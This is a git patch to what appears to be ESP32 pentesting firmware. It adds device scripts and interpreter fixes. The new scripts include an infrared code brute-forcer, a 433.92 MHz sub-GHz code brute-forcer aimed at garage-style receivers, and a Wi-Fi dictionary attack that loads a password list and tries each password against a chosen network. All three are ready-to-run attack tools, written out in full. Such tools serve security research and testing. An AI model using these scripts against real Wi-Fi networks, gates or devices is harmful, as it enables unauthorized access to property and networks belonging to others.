From 701905f73fb098796f9ec77c3feecfed9e9af79b Mon Sep 17 00:00:00 2001 From: eadmaster <925171+eadmaster@users.noreply.github.com> Date: Tue, 8 Oct 2024 04:31:06 +0200 Subject: [PATCH] added bruteforce js scripts (#131), interpreter function fixes, cleanups --- sd_files/interpreter/dtmf.js | 35 ++++++++++ sd_files/interpreter/ir2keys.js | 48 +++++++++++++ sd_files/interpreter/ir_brute.js | 62 +++++++++++++++++ sd_files/interpreter/rf_brute.js | 62 +++++++++++++++++ sd_files/interpreter/wifi_brute.js | 76 +++++++++++++++++++++ src/modules/bjs_interpreter/interpreter.cpp | 19 ++++-- src/modules/ir/TV-B-Gone.cpp | 4 +- src/modules/ir/ir_read.cpp | 11 +-- src/modules/rf/rf.cpp | 3 +- 9 files changed, 301 insertions(+), 19 deletions(-) create mode 100644 sd_files/interpreter/dtmf.js create mode 100644 sd_files/interpreter/ir2keys.js create mode 100644 sd_files/interpreter/ir_brute.js create mode 100644 sd_files/interpreter/rf_brute.js create mode 100644 sd_files/interpreter/wifi_brute.js diff --git a/sd_files/interpreter/dtmf.js b/sd_files/interpreter/dtmf.js new file mode 100644 index 000000000..660ff9bf6 --- /dev/null +++ b/sd_files/interpreter/dtmf.js @@ -0,0 +1,35 @@ + + +// generate a DTMF signal from a number string https://en.wikipedia.org/wiki/DTMF + +const dtmfTable = { + '1': { lowFreq: 697, highFreq: 1209 }, + '2': { lowFreq: 697, highFreq: 1336 }, + '3': { lowFreq: 697, highFreq: 1477 }, + 'A': { lowFreq: 697, highFreq: 1633 }, + '4': { lowFreq: 770, highFreq: 1209 }, + '5': { lowFreq: 770, highFreq: 1336 }, + '6': { lowFreq: 770, highFreq: 1477 }, + 'B': { lowFreq: 770, highFreq: 1633 }, + '7': { lowFreq: 852, highFreq: 1209 }, + '8': { lowFreq: 852, highFreq: 1336 }, + '9': { lowFreq: 852, highFreq: 1477 }, + 'C': { lowFreq: 852, highFreq: 1633 }, + '*': { lowFreq: 941, highFreq: 1209 }, + '0': { lowFreq: 941, highFreq: 1336 }, + '#': { lowFreq: 941, highFreq: 1477 }, + 'D': { lowFreq: 941, highFreq: 1633 } +}; + +s = keyboard("0", 99, "Enter number"); + +for( var i=0 ; i 2^16=65536 values to try +var delay_ms = 200; // delay after each try +var protocol = "NEC"; // one of the most common protocols + + +function brute_force() { + var max_val = value_prefix + (1 << no_bits); + + for ( var brute_val = value_prefix; brute_val < max_val ; brute_val++) { + var curr_val = brute_val.toString(16).toUpperCase(); + + drawString("sending", 3 , 0); + drawString(curr_val, 3 , 16); + drawString("hold any key to stop", 3 , 32); + + if(getAnyPress()) break; + + // example full cmd: IRSend {"Protocol":"NEC","Bits":32,"Data":"0x20DF10EF"} + serialCmd("IRSend {\"Protocol\":\"" + protocol + "\",\"Bits\":32,\"Data\":\"0x" + curr_val + "\"}"); + + delay(delay_ms); + fillScreen(0); + } +} + + +while(true) +{ + var network_to_attack_ssid = ""; + var passwords_to_try_arr = []; + + var choice = dialogChoice([ + "Init value:" + value_prefix, "value_prefix", + "Range bits:" + no_bits, "no_bits", + "Delay: " + delay_ms, "delay_ms", + "Protocol:" + protocol, "protocol", + "Start attack", "attack", + ] + ) + + if(choice=="") break; // quit + else if(choice=="value_prefix") value_prefix = parseInt(keyboard(String(value_prefix), 32, "starting value")); + else if(choice=="no_bits") no_bits = parseInt(keyboard(String(no_bits), 32, "bits to iterate")); + else if(choice=="delay_ms") delay_ms = parseInt(keyboard(String(delay_ms), 32, "delay afear each try (in ms)")); + else if(choice=="protocol") protocol = keyboard(protocol, 32, "Protocol"); + else if(choice=="attack") { + if(!value_prefix || !no_bits || !delay_ms || !protocol) { + dialogError("invalid params"); + continue; + } + brute_force(); + } + + fillScreen(0); // clear screen +} diff --git a/sd_files/interpreter/rf_brute.js b/sd_files/interpreter/rf_brute.js new file mode 100644 index 000000000..3deb2a61c --- /dev/null +++ b/sd_files/interpreter/rf_brute.js @@ -0,0 +1,62 @@ + +// bruteforce RF signals +// derived from https://github.com/mcore1976/cc1101-tool/blob/main/cc1101-tool-esp32.ino#617 +// for a more efficient attack look at https://github.com/UberGuidoZ/Flipper/tree/main/Sub-GHz/Garages/deBruijn +// use at your own risk, some devices may lock you out as a security mechanism when spammed with this! + +var value_prefix = 0x445700; +var no_bits = 8; // 1-byte range -> 2^8=256 values to try +var delay_ms = 200; // delay after each try +var freq = "433920000"; // fixed frequency + + +function brute_force() { + var max_val = value_prefix + (1 << no_bits); + + for ( var brute_val = value_prefix; brute_val < max_val ; brute_val++) { + var curr_val = brute_val.toString(16).toUpperCase(); + + drawString("sending", 3 , 0); + drawString(curr_val, 3 , 16); + drawString("hold any key to stop", 3 , 32); + + if(getAnyPress()) break; + + // example full cmd: "subghz tx 445533 433920000 174 10" + serialCmd("subghz tx " + curr_val + " " + freq + " 174 10"); // optional: customize te=174 count=10 + + delay(delay_ms); + fillScreen(0); + } +} + + +while(true) +{ + var network_to_attack_ssid = ""; + var passwords_to_try_arr = []; + + var choice = dialogChoice([ + "Init value:" + value_prefix, "value_prefix", + "Range bits:" + no_bits, "no_bits", + "Delay: " + delay_ms, "delay_ms", + "Frequency:" + freq, "freq", + "Start attack", "attack", + ] + ) + + if(choice=="") break; // quit + else if(choice=="value_prefix") value_prefix = parseInt(keyboard(String(value_prefix), 32, "starting value")); + else if(choice=="no_bits") no_bits = parseInt(keyboard(String(no_bits), 32, "bits to iterate")); + else if(choice=="delay_ms") delay_ms = parseInt(keyboard(String(delay_ms), 32, "delay afear each try (in ms)")); + else if(choice=="freq") freq = parseInt(keyboard(String(freq), 32, "Frequency")); + else if(choice=="attack") { + if(!value_prefix || !no_bits || !delay_ms || !freq) { + dialogError("invalid params"); + continue; + } + brute_force(); + } + + fillScreen(0); // clear screen +} diff --git a/sd_files/interpreter/wifi_brute.js b/sd_files/interpreter/wifi_brute.js new file mode 100644 index 000000000..1f7a5b6c8 --- /dev/null +++ b/sd_files/interpreter/wifi_brute.js @@ -0,0 +1,76 @@ + + + + +function wifiDictAttack(ssid, pwds) { + var connected = false; + // iterate over the passwords + for( var i=0; i use native open+read? + if(!passwords_to_try) continue; + passwords_to_try_arr = passwords_to_try.split("\n"); + } + else if(choice=="attack") { + if(!network_to_attack_ssid) { + dialogError("no wifi network selected, pls rescan"); + continue; + } + if(!passwords_to_try_arr) { + dialogError("no passwords dict loaded"); + continue; + } + //print("trying attacking network " + networks[i].SSID + " " + networks[i].MAC); + wifiDictAttack(network_to_attack_ssid, passwords_to_try_arr); + + wifiDisconnect(); // avoid automatic reconnection retry to the last network + } // end if attack + + fillScreen(0); // clear screen +} + + +// 2FIX: tries to reconnect? https://github.com/espressif/arduino-esp32/issues/7968 + diff --git a/src/modules/bjs_interpreter/interpreter.cpp b/src/modules/bjs_interpreter/interpreter.cpp index 3ad8309a8..7688a0ad5 100644 --- a/src/modules/bjs_interpreter/interpreter.cpp +++ b/src/modules/bjs_interpreter/interpreter.cpp @@ -143,7 +143,7 @@ static duk_ret_t native_wifiScan(duk_context *ctx) { // Example usage: `print(wifiScan()[0].SSID)` wifiDisconnect(); WiFi.mode(WIFI_MODE_STA); - Serial.println("Scanning..."); + //Serial.println("Scanning..."); int nets = WiFi.scanNetworks(); duk_push_array(ctx); int arrayIndex = 0; @@ -346,6 +346,11 @@ static duk_ret_t native_getNextPress(duk_context *ctx) { else duk_push_boolean(ctx, false); return 1; } +static duk_ret_t native_getAnyPress(duk_context *ctx) { + if(checkAnyKeyPress()) duk_push_boolean(ctx, true); + else duk_push_boolean(ctx, false); + return 1; +} static duk_ret_t native_getKeysPressed(duk_context *ctx) { #ifdef CARDPUTER @@ -694,9 +699,7 @@ static duk_ret_t native_dialogChoice(duk_context *ctx) { const char* r = ""; if (duk_is_array(ctx, 0)) { - options = { - {"Cancel", [&]() { r = ""; }}, - }; + options = {}; // Get the length of the array duk_uint_t len = duk_get_length(ctx, 0); @@ -727,9 +730,11 @@ static duk_ret_t native_dialogChoice(duk_context *ctx) { duk_pop(ctx); // add to the choices list - options.push_back({choiceKey, [&]() { r = choiceValue; }}); + options.push_back({choiceKey, [choiceValue, &r]() { r = choiceValue; }}); } // end for + options.push_back({"Cancel", [&]() { r = ""; }}); + delay(200); loopOptions(options); } @@ -925,6 +930,8 @@ bool interpreter() { duk_put_global_string(ctx, "getSelPress"); duk_push_c_function(ctx, native_getNextPress, 0); // checkNextPress duk_put_global_string(ctx, "getNextPress"); + duk_push_c_function(ctx, native_getAnyPress, 0); + duk_put_global_string(ctx, "getAnyPress"); // Serial + wrappers duk_push_c_function(ctx, native_serialReadln, 0); @@ -967,7 +974,7 @@ bool interpreter() { duk_put_global_string(ctx, "irRead"); duk_push_c_function(ctx, native_irReadRaw, 0); duk_put_global_string(ctx, "irReadRaw"); - //TODO: native_irTransmit(string) + //TODO: irTransmit(string) // subghz functions duk_push_c_function(ctx, native_subghzRead, 0); diff --git a/src/modules/ir/TV-B-Gone.cpp b/src/modules/ir/TV-B-Gone.cpp index 5442b7bd1..720ee9162 100644 --- a/src/modules/ir/TV-B-Gone.cpp +++ b/src/modules/ir/TV-B-Gone.cpp @@ -293,7 +293,6 @@ bool txIrFile(FS *fs, String filepath) { String address = ""; String command = ""; String value = ""; - String state = ""; String bits = "32"; databaseFile.seek(0); // comes back to first position @@ -388,7 +387,6 @@ bool txIrFile(FS *fs, String filepath) { command = ""; protocol = ""; value = ""; - state = ""; type = ""; line = ""; break; @@ -647,7 +645,7 @@ bool sendDecodedCommand(String protocol, String value, String bits) { displayRedStripe("Sending..",TFT_WHITE,FGCOLOR); if(hasACState(type)) { - // need to send the state (passed from value) + // need to send the state (still passed from value) uint8_t state[nbit_int / 8] = {0}; uint16_t state_pos = 0; for (uint16_t i = 0; i < value.length(); i += 3) { diff --git a/src/modules/ir/ir_read.cpp b/src/modules/ir/ir_read.cpp index 113f8717e..ffdd9e826 100644 --- a/src/modules/ir/ir_read.cpp +++ b/src/modules/ir/ir_read.cpp @@ -181,11 +181,7 @@ String IrRead::parse_state_signal() { return r; } -String IrRead::parse_raw_signal() { - //rawcode = new uint16_t[MAX_RAWBUF_SIZE]; - //memset(rawcode, 0, MAX_RAWBUF_SIZE * sizeof(uint16_t)); - //raw_data_len = results.rawlen; - +String IrRead::parse_raw_signal() { // https://github.com/crankyoldgit/IRremoteESP8266/blob/master/examples/SmartIRRepeater/SmartIRRepeater.ino rawcode = resultToRawArray(&results); raw_data_len = getCorrectedRawLength(&results); @@ -195,6 +191,7 @@ String IrRead::parse_raw_signal() { for (uint16_t i = 0; i < raw_data_len; i++) { signal_code += String(rawcode[i]) + " "; } + delete[] rawcode; rawcode = nullptr; signal_code.trim(); @@ -290,11 +287,9 @@ void IrRead::append_to_file_str(String btn_name) { Serial.println("value:"); serialPrintUint64(results.address, HEX); serialPrintUint64(results.command, HEX); - * Serial.print("resultToHexidecimal: "); - Serial.println(resultToHexidecimal(&results)); // 0x20DFC03F + Serial.println(resultToHexidecimal(&results)); Serial.println(results.value); - Serial.println(); String value = uint32ToString(results.value ) + " " + uint32ToString(results.value>> 32); value.replace(" ", ""); uint64_t value_int = strtoull(value.c_str(), nullptr, 16); diff --git a/src/modules/rf/rf.cpp b/src/modules/rf/rf.cpp index 2f3e10b32..49c22839f 100644 --- a/src/modules/rf/rf.cpp +++ b/src/modules/rf/rf.cpp @@ -564,8 +564,8 @@ String RCSwitch_Read(float frequency, int max_loops, bool raw) { rcswitch.enableReceive(CC1101_GDO2_PIN); #else rcswitch.enableReceive(CC1101_GDO0_PIN); - Serial.println("CC1101 enableReceive()"); #endif + Serial.println("CC1101 enableReceive()"); #else return ""; #endif @@ -628,7 +628,6 @@ String RCSwitch_Read(float frequency, int max_loops, bool raw) { // switch to raw mode if decoding failed if(received.preset == 0) { displayWarning("signal decoding failed, switching to RAW mode"); - delay(2000); raw = true; // TODO: show a dialog/warning? // raw = yesNoDialog("decoding failed, save as RAW?");